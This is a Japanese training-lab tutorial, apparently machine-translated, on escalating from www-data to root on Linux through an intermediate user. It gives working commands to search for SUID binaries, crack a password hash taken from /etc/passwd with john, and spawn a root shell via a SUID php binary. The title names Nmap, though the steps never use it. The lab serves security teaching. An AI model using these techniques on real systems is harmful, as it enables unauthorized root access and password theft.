Nmap で中間ユーザーを介して Root 権限に昇格する

NmapNmapBeginner
今すぐ練習

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、直接 root ユーザーに権限昇格できない場合に、どのようにして root ユーザーに権限昇格するかを学びます。まず別の通常ユーザーに権限昇格し、そのユーザーの権限を使って root ユーザーに昇格することでこれを達成します。この中間ユーザーは「踏み台」ユーザーと呼ばれます。

この実験の目標は、www-data ユーザーから alice ユーザーに権限昇格し、次に alice ユーザーから root ユーザーに権限昇格することです。


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL nmap(("Nmap")) -.-> nmap/NmapGroup(["Nmap"]) nmap/NmapGroup -.-> nmap/installation("Installation and Setup") nmap/NmapGroup -.-> nmap/save_output("Save Output to File") subgraph Lab Skills nmap/installation -.-> lab-416146{{"Nmap で中間ユーザーを介して Root 権限に昇格する"}} nmap/save_output -.-> lab-416146{{"Nmap で中間ユーザーを介して Root 権限に昇格する"}} end

実験環境の初期化

このステップでは、実験環境を初期化します。

  1. まず、ターミナルを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project
  2. 以下のコマンドを実行して、実験用の環境をセットアップします。

    ./env_setup.sh

このコマンドは、実験に必要な環境をセットアップするスクリプトをダウンロードして実行します。このコマンドを実行した後、www-data ユーザーに切り替わり、Web 脆弱性を介して取得した初期シェルを模擬するはずです。

SUID を使った権限昇格の試み

このステップでは、SUID (Set User ID) 技術を使って権限昇格を試みます。SUID ビットが設定された実行可能ファイルを検索します。これらのファイルは、ファイル所有者(この場合は root)の権限で実行できます。

  1. まず、www-data ユーザーがアクセスできる SUID 実行可能ファイルを検索しましょう。

    find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt

    このコマンドは、ルートユーザーが所有し、SUID ビットが設定された(パーミッションモード 4000)ファイルをファイルシステム全体で検索します。

  2. コマンドを実行した後、www-data_suid_files.txt ファイルに SUID 実行可能ファイルのリストが表示されるはずです。このファイルの内容を確認しましょう。

    cat ~/www-data_suid_files.txt

ただし、この場合は、SUID を使った権限昇格に適したファイルはありません。

ホームディレクトリの調査

SUID 技術を使った権限昇格に失敗したので、潜在的な踏み台ユーザーのホームディレクトリを調査しましょう。

  1. まず、/home ディレクトリの内容をファイルに保存して、さらなる分析を行いましょう。

    ls -alh /home > ~/home_dir_contents.txt

    このコマンドは、/home ディレクトリの内容を長い形式でリストアップし、ファイルサイズやパーミッションを含めて home_dir_contents.txt ファイルに保存します。

  2. 次に、潜在的な踏み台を特定するために、home_dir_contents.txt ファイルの内容を確認しましょう。

    cat ~/home_dir_contents.txt

    出力に alice という名前のディレクトリが表示されるはずです。これは、システム上に alice という名前のユーザーが存在することを示しています。

alice ユーザーへの権限昇格の試み

www-data ユーザーは alice ディレクトリにアクセスできないため、まず alice ユーザーに権限昇格する方法を見つける必要があります。

  1. alice ユーザーに関する情報を /etc/passwd ファイルから確認しましょう。

    cat /etc/passwd | grep alice > ~/alice_info.txt
  2. alice_info.txt ファイルの内容を確認して、alice ユーザーの詳細を表示します。

    cat ~/alice_info.txt

    期待される出力:

    alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash

    出力には、パスワードハッシュを含む alice ユーザーのエントリが表示されるはずです。

  3. パスワードハッシュをクラックするには、john ツールを使用できます。新しいターミナルを開き、以下のコマンドを実行します。

    john ~/alice_info.txt > cracked_passwords.txt

    出力例:

    Created directory: /var/www/.john
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed

    これでパスワードクラッキングプロセスが開始されます。パスワードがクラックされると、cracked_passwords.txt ファイルにパスワードが表示されるはずです。

    cat ~/cracked_passwords.txt

    出力例:

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    beautiful        (alice)
  4. この場合、alice ユーザーのパスワードは beautiful です。su コマンドを使用して alice ユーザーに切り替えます。

    su - alice

    パスワードを求められたら、先ほどクラックしたパスワード (beautiful) を入力します。

    beautiful
  5. alice ユーザーに正常に切り替えた後、alice ディレクトリに移動し、alice.txt という名前の新しいファイルを作成します。

    cd /home/alice

    alice.txt という名前の新しいファイルを作成します。

    touch ~/alice.txt

    これで alice ディレクトリとその内容にアクセスできるはずです。

alice ユーザーとしての SUID 権限昇格の試み

alice ユーザーに権限昇格したので、再度 SUID を使った権限昇格手法を試してみましょう。

  1. alice ユーザーのホームディレクトリにいることを確認します。

    cd /home/alice

    以下のコマンドを実行して、SUID ビットが設定されたファイルを検索します。

    find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txt
  2. alice_suid_files.txt ファイルの内容を確認して、SUID ファイルのリストを表示します。

    cat alice_suid_files.txt

    期待される出力:

    ...
    /var/bin/php
    ...

    今回は、出力に実行可能ファイル /var/bin/php が表示されるはずです。このファイルは SUID を使った権限昇格に利用できます。

  3. root ユーザーに権限昇格するには、以下のコマンドを実行します。

    /var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

    このコマンドは、root 権限で新しいシェルを起動する PHP スクリプトを実行します。

  4. これで root シェルが起動しているはずで、ターミナルのプロンプトが # になっています。root ディレクトリにファイルを作成することで、root 権限を持っていることを確認します。

    touch /root/root.txt

    ファイルが権限エラーなしで作成された場合、SUID 手法を使って root ユーザーに権限昇格に成功したことになります。

ディレクトリ権限の違いを理解する

alice ユーザーは SUID 実行可能な php ファイルを見つけることができたのに、www-data ユーザーは見つけることができなかったのはなぜか疑問に思うかもしれません。その答えはディレクトリの権限にあります。

前のステップの後、あなたは以下のような root ユーザーとしてのシェルを持っているはずです。

sh-5.1#
  1. /var/bin ディレクトリの権限を調べ、出力をファイルに保存しましょう。

    ls -lh /var > /root/var_permissions.txt
  2. var_permissions.txt ファイルの内容を確認して、/var ディレクトリの権限を表示します。

    cat /root/var_permissions.txt

    期待される出力:

    total 0
    ...
    drwxr-x--- 2 alice    alice     17 Apr 15 03:48 bin
    ...

    出力には、/var/bin ディレクトリが alice ユーザーとグループによって所有されていることが表示されるはずです。他のユーザーはこのディレクトリに対する読み取り、書き込み、または実行権限を持っていません。

これは、alice ユーザーに権限昇格したときに、以前は www-data ユーザーがアクセスできなかったファイルやディレクトリにアクセスできるようになったことを意味します。この権限の違いにより、権限昇格のために SUID 実行可能ファイルを見つけて利用することができました。

まとめ

この実験では、直接 root ユーザーに権限昇格できない場合に、どのようにして root ユーザーに権限昇格するかを学びました。まず、踏み台ユーザーである alice ユーザーに権限昇格し、その後 alice ユーザーの権限を使って root ユーザーに権限昇格することでこれを達成しました。

この実験から得られる重要なポイントは、常にユーザー間の権限の違いに注意することです。これらの違いは、時には権限昇格に利用できることがあります。この実験では簡単な例を使いましたが、実際のシナリオはもっと複雑な場合がありますが、核心となる原則は同じです。つまり、ユーザー権限の違いを利用して権限昇格を達成するということです。